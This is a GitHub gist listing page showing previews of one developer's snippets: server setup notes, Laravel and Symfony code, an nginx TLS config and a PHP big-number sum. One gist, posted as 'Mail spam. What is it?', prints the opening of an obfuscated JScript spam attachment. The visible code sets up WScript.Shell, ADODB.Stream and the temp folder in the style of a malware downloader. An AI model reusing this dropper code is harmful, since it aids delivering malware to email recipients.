Skip to content

Instantly share code, notes, and snippets.

View Enapiuz's full-sized avatar

Vadim Shashin Enapiuz

View GitHub Profile
#!/bin/bash
#
# Install Postgres 9.2 on a clean Ubuntu 12.04
"""
LC_ALL issue
comment out the AcceptEnv LANG LC_* line in the remote /etc/ssh/sshd_config file.
sudo apt-get install language-pack-en-base
sudo dpkg-reconfigure locales
comment out the SendEnv LANG LC_* line in the local /etc/ssh/ssh_config file.
<?php
/**
* An helper file for Laravel 4, to provide autocomplete information to your IDE
* Generated with https://github.com/barryvdh/laravel-ide-helper
* Updated for Laravel 4.1.28 (2014-04-17)
*
* @author Barry vd. Heuvel <barryvdh@gmail.com>
*/
namespace {
@Enapiuz
Enapiuz / designer.html
Last active August 29, 2015 14:10
designer
<link rel="import" href="../notification-elements/notification-alert.html">
<link rel="import" href="../core-menu/core-submenu.html">
<link rel="import" href="../core-item/core-item.html">
<link rel="import" href="../core-icon-button/core-icon-button.html">
<link rel="import" href="../core-toolbar/core-toolbar.html">
<polymer-element name="my-element">
<template>
<style>
return $excel->create('purchases', function($excel) use ($purchases) {
$excel->sheet('Sheetname', function($sheet) use ($purchases) {
$sheet->fromArray($purchases);
});
})->export('xls');
@Enapiuz
Enapiuz / site.conf
Last active August 29, 2015 14:22 — forked from paskal/site.conf
# read more at https://terrty.net/2014/ssl-tls-in-nginx/
# latest version on https://gist.github.com/paskal/628882bee1948ef126dd/126e4d1daeb5244aacbbd847c5247c2e293f6adf
# security test score: https://www.ssllabs.com/ssltest/analyze.html?d=terrty.net
# your nginx version might not have all directives included, test this configuration before using in production against your nginx:
# $ nginx -c /etc/nginx/nginx.conf -t
server {
# public key, contains your public key and class 1 certificate, to create:
# (example for startssl)
# $ (cat example.com.pem & wget -O - https://www.startssl.com/certs/class1/sha2/pem/sub.class1.server.sha2.ca.pem) | tee -a /etc/nginx/ssl/domain.pem > /dev/null
86937 isset
43159 echo
31697 empty
29252 substr
26146 count
24248 is_array
22572 strlen
19365 sprintf
18090 unset
16584 str_replace
@Enapiuz
Enapiuz / gist:4434f65fff34613a73c6
Created July 14, 2015 08:36
Mail spam. What is it?
var T05="%temp%\\";
function CreateObject(b){return new ActiveXObject(b)}
var JS02=CreateObject("WScript.Shell");
T05=JS02.ExpandEnvironmentStrings(T05);
function JS04(JS13,JS06)
{var JS05=new CreateObject("ADODB.Stream");
var JS07=new ActiveXObject("Msxml2.DOMDocument.6.0");
var JS08=JS07.createElement('tmp');
_log_pskb(date_created,link_id,logname,log)
account(id,uid,sum)
account_attach(account_id,file_id,name,orig_name)
account_transaction(user_id,yd)
activate_service(code,email,data)
admin_log_users(user_id,log_id,last_comment_view)
annoy(ip,last_req)
articles(title,short,msgtext,sign,logo,link)
articles_comments(from_id,parent_id,from_ip,created_time,article_id,msgtext,youtube_link)
articles_comments_files(comment_id,file_id,small,inline,temp)
@Enapiuz
Enapiuz / 1-Explanations.md
Created February 22, 2016 19:06 — forked from danvbe/1-Explanations.md
A way to integrate FosUserBundle and HWIOAuthBundle

I have managed to install this… and make it work. I implemented it for Facebook and Google, but you can extend it. My solution it is mostly as described in #116, with a bit of more code presented. The key aspects that lack in the #116 presentation (IMO) are:

  • the registration as service of your custom FOSUBUserProvider (with the necessary parameters)
  • set the service for oauth_user_provider in the security.yml with your custom created service

Here are the steps:

  1. Routing. In routing.yml I have added all the routes for both bundles.
  2. Configuration. I have set the config.yml mostly as it is presented in the HWIOAuthBundle.
  3. Security. I have set the security.yml mostly as it is presented in the HWIOAuthBundle (though my routes are using /login pattern, not /connect). Also, the oauth_user_provider is set for my custom service.
@Enapiuz
Enapiuz / sum.php
Created March 23, 2016 22:32
php-gmp sum
<?php
/**
* Need php-gmp for work
*/
$numbers = [
'77863642434703028237682634582217333171107742958891',
'13803248561193268352849339467273586188719937714737',
'44224983195978765477621123627619455875331891277366',